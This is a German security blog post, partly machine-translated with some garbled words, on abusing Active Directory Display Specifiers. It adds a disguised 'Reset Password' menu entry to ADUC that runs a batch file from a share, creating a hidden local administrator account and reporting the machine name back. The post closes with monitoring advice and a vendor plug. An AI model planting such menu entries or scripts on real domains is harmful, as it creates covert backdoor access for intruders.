Vor kurzem wurde ich an eine Funktion in AD erinnert, die ich seit fast 20 Jahren nicht mehr verwendet habe und die von Angreifern missbraucht werden kann. Diese Funktion basiert auf einem Bereich in der Konfigurationspartition innerhalb einer bestimmten Active Directory-Gesamtstruktur namens Display Specifiers. Ich bin mir sicher, dass diese in AD viele Funktionen haben, aber die, die mich interessiert, ist ihre Fähigkeit, benutzerdefinierte Kontextmenüerweiterungen zu MMC-basierten AD-Tools hinzuzufügen.
Als ich diese Funktion zum ersten Mal nutzte (auch diese gibt es schon seit einem Jahr), hatte ich ein Dienstprogramm geschrieben, um einige Aufgaben der Benutzerverwaltung für AD-Benutzer zu ermöglichen. Mit Display Specifiers fügte ich dem MMC-Snap-In AD Users and Computers (ADUC) einen neuen Menüpunkt für unsere internen IT-Administratoren hinzu. Immer wenn sie in ADUC mit der rechten Maustaste auf ein Benutzerobjekt klickten, wurde meine Menüoption angezeigt. Wenn sie die Option auswählten, wurde im Hintergrund ein Skript für dieses Benutzerobjekt ausgeführt. Display Specifiers haben auch die Möglichkeit, der Seite Eigenschaften innerhalb einer bestimmten Objektklasse Eigenschaftsblätter hinzuzufügen, sofern Sie bereit sind, etwas COM-Code zu schreiben :-).
Display Specifiers sehen wie folgt aus:
Angaben in der Konfigurationspartition anzeigen
Sie werden feststellen, dass die Container auf der linken Seite nach numerischen Werten geordnet sind. Diese entsprechen den hexadezimalen Sprachcodes für jedes Gebietsschema. Ich habe hervorgehoben409hervorgehoben, weil dies der Hexadezimalwert für EN-US oder Englisch-US ist, was meine Standardkultur ist. Eine vollständige Liste dieser Codes finden Siehier.
In jedem Sprachcode-Container finden Sie rechts eine Reihe von Objekten der Klasse displaySpecifier. Jedes dieser Objekte steht für die Objektklasse, für die Sie unter anderem das Verhalten des Kontextmenüs ändern können. Wenn wir zum Beispiel ein Kontextmenü zu Benutzerobjekten in ADUC hinzufügen möchten, wählen wir das Objekt CN=user-Display und ändern die entsprechenden Attribute dieses Objekts.
Display-Spezifizierer verhalten sich schlecht
Es gibt ein paar Dinge, die Sie darüber wissen sollten, wie Angreifer Display Specifier missbrauchen können. Zunächst einmal müssen Sie aus der Sicht der Sicherheit ein privilegierter Benutzer sein, um Display Specifier missbrauchen zu können. Standardmäßig (Betonung auf "standardmäßig") haben nur Mitglieder der GruppeDomänen-AdminsundUnternehmens-Adminsauf diese Objekte schreiben. Der Missbrauch dieser Objekte setzt also voraus, dass Sie bereits die Domänenherrschaft erlangt haben, was die Wirkung dieses Mechanismus stark abschwächt. Allerdings bietet dieser Mechanismus eine heimliche Möglichkeit, einer Umgebung Schaden zuzufügen. Wenn beispielsweise ein Domänenadministrator kompromittiert wird, ist alles, was er oder sie tut, für die Standardüberwachung sehr gut sichtbar. Wenn es dem Angreifer jedoch gelingt, ein nicht so offensichtliches Administratorkonto zu übernehmen, kann er sich möglicherweise unbemerkt in der Umgebung bewegen. An dieser Stelle könnte die Verwendung von Display Specifiers nützlich sein. In meinem Beispiel füge ich den Benutzerobjekten ein neues Kontextmenü hinzu. Ich nenne meinen Kontextmenüeintrag "Passwort zurücksetzen...", genau wie die bestehende Menüoption mit demselben Namen, die in ADUC für Benutzerobjekte eingebaut ist, wie hier gezeigt:
Hinzufügen eines neuen Kontextmenüeintrags
As you can see from this screen shot, I now have two Reset Password options. Which one is right? The typical ADUC user is usually an administrator with some kind of privileged access to AD, and, probably unsuspecting when it comes to seeing an artifact like this. They might choose the right one (the top one) or the wrong one (the bottom one) depending upon what they see first. If they choose the second one, then my modified display specifier takes over. So let’s look at that. If you open ADSIEdit and connect to the Configuration Naming Context, you’ll see the screen above. Once I’ve selected the appropriate language-code folder (in my case CN=409 for EN-us) in the right-hand pane, I’m going to navigate to the CN=user-Display object and view it’s properties. From the Attribute Editor, find the adminContextMenu attribute. It’s a multi-valued attribute that likely already contains some entries in the form of <index>, <GUID of control or property sheet>. I’m going to add my custom “Reset Password” entry to this list in the form of:
2,Passwort zurücksetzen...,\gpaapackagesresetpw.bat
Der erste Eintrag ist der Index, an dem er erscheinen soll, der zweite ist der Name des Menüeintrags und der dritte ist das, was ausgeführt werden soll, wenn der Benutzer diesen Menüeintrag auswählt. In diesem Beispiel oben rufe ich eine Batch-Datei aus einer Freigabe auf. Wie das im Live-Attribut aussieht, können Sie hier sehen:
Anzeigen eines geänderten Display Specifiers
Ich beziehe mich auf eine UNC-Freigabe, weil dieser Menüpunkt von jedem ADUC-Benutzer von jeder Workstation aus aufgerufen werden kann - ich wollte also, dass der Benutzer meine Batch-Datei von überall aus aufrufen kann. Sie könnten auch integrierte Befehle verwenden, um sie lokal auszuführen, aber ich habe noch nicht mit der Übergabe von Parametern an Befehle innerhalb von Display Specifiers herumgespielt, so dass ich nicht sicher bin, ob das funktionieren wird. In jedem Fall ist meine Batch-Datei ziemlich einfach. Ich verlasse mich darauf, dass jemand, der ADUC verwendet, auf seinem Arbeitsplatzrechner tatsächlich ein Administrator ist und daher so ziemlich alles tun kann, wenn er mein Skript ausführt. Das Skript "resetpw.bat" sieht also wie folgt aus:
net benutzer badguy passwort /add
net lokaleGruppe Administratoren badguy /add
echo gotcha > \gpaapackages%Rechnername%.txt
Ich erstelle also ein neues lokales Konto auf dem Rechner mit einem bekannten Kennwort, füge dieses Konto der lokalen Administratorengruppe hinzu und erstelle dann eine kleine Datei auf meiner Freigabe, die mir mitteilt, auf welchem Rechnernamen mein Skript gerade ausgeführt wurde. Voilà!
Verteidigung gegen Missbrauch von Display Specifier
Natürlich funktioniert das alles nicht, wenn der Angreifer keine Schreibrechte für Display Specifiers hat. Wenn er also nicht bereits in Ihre Domäne eingedrungen ist oder Sie die Standarddelegation für diesen Teil des Konfigurations-NCs geändert haben, müssen Sie sich wahrscheinlich keine Sorgen machen. Wenn Sie jedoch über eine AD-Überwachungslösung verfügen, sollten Sie auf jeden Fall ein Auge auf Änderungen an diesen Objekten haben. Es gibt wahrscheinlich nicht sehr viele legitime Gründe, warum sich diese Objekte normalerweise ändern würden. Die gute Nachricht ist, dass Semperis gerade einen neuen Indikator erstellt hat, um nach Änderungen an diesen Display Specifier-Objekten zu suchen, und wenn Sie ein Benutzer von DSP Intelligencesind, erhalten Sie diesen neuen Indikator automatisch und er wird sofort nach dieser Art von Display Specifier-Missbrauch suchen.
